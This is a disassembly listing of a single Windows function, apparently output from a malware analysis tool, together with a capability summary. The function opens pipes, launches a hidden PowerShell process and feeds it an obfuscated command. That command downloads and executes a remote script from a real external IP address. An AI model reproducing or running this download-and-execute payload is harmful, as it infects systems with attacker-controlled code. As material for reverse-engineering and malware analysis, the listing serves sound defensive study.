Function at 0x140001000
Capabilities:
Contain obfuscated stackstrings
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create two anonymous pipes
Write and execute a file
Write file on windows
Write pipe

Disassembly:
push rbp
push rbx
lea rbp, [rsp - 0xf8]
sub rsp, 0x1f8
xor ebx, ebx
mov dword [rbp - 0x68], 0x18
xorps xmm0, xmm0
mov qword [rbp + 0x128], rbx
movups xmmword [rbp - 0x60], xmm0
xor r9d, r9d
mov dword [rbp - 0x58], 1
lea r8, [rbp - 0x68]
mov qword [rbp + 0x118], rbx
lea rdx, [rbp + 0x128]
mov qword [rsp + 0x50], rbx
lea rcx, [rbp + 0x118]
mov qword [rbp + 0x120], rbx
call qword [sym.imp.KERNEL32.dll_CreatePipe]
xor r9d, r9d
lea r8, [rbp - 0x68]
lea rdx, [rbp + 0x120]
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
mov rax, qword [rbp + 0x118]
lea rdx, [rsp + 0x58]
movdqa xmm1, xmmword [0x1400167d0]
xorps xmm0, xmm0
movups xmmword [rbp + 8], xmm0
xor r9d, r9d
xor r8d, r8d
movups xmmword [rbp + 0x18], xmm0
mov qword [rbp + 0x20], rax
xor ecx, ecx
mov rax, qword [rbp + 0x120]
movups xmmword [rbp + 0x28], xmm0
mov qword [rbp + 0x28], rax
xor eax, eax
mov qword [rbp - 0x40], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x40], rax
movups xmmword [rbp - 0x28], xmm0
mov qword [rsp + 0x38], rbx
movups xmmword [rbp - 0x18], xmm0
mov qword [rsp + 0x30], rbx
movups xmmword [rbp - 8], xmm0
mov dword [rsp + 0x28], 0x8000010
movups xmmword [rbp - 0x50], xmm0
mov dword [rsp + 0x20], 1
movdqa xmm0, xmmword [str.C:WindowsSystem32WindowsPowerShell_v1.0power_]
movdqu xmmword [rsp + 0x58], xmm0
mov dword [rbp - 0x30], 0x68
movdqa xmm0, xmmword [0x1400167e0]
mov word [rbp + 0x10], bx
mov dword [rbp + 0xc], 0x101
mov dword [rbp + 0x110], ebx
movdqu xmmword [rsp + 0x68], xmm1
mov dword [rbp - 0x78], 0x6c656873
movdqu xmmword [rsp + 0x78], xmm0
mov dword [rbp - 0x74], 0x78652e6c
mov word [rbp - 0x70], 0x65
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
lea rcx, str._c11_i_ex_New_Object_Net.WebClient_.Downlo___c22_888_http:__27.102.132.19_one.qw1__.Replace_888_adString_.Replace_q_p_.Replace_w_s__i_ex__c11_c22____r_n
movups xmm0, xmmword [rcx]
lea rdx, [rbp + 0x40]
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x80]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x10], xmm0
movups xmm0, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm1
mov rax, qword [rcx + 0xa0]
mov r8, 0xffffffffffffffff
movups xmmword [rdx + 0x10], xmm0
mov qword [rdx + 0x20], rax
movzx eax, word [rcx + 0xa8]
mov word [rdx + 0x28], ax
movzx eax, byte [rcx + 0xaa]
mov byte [rdx + 0x2a], al
lea rax, [rbp + 0x40]
inc r8
cmp byte [rax + r8], bl
jne 0x1400011d7
mov rcx, qword [rbp + 0x128]
lea r9, [rbp + 0x110]
lea rdx, [rbp + 0x40]
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
xor eax, eax
add rsp, 0x1f8
pop rbx
pop rbp
ret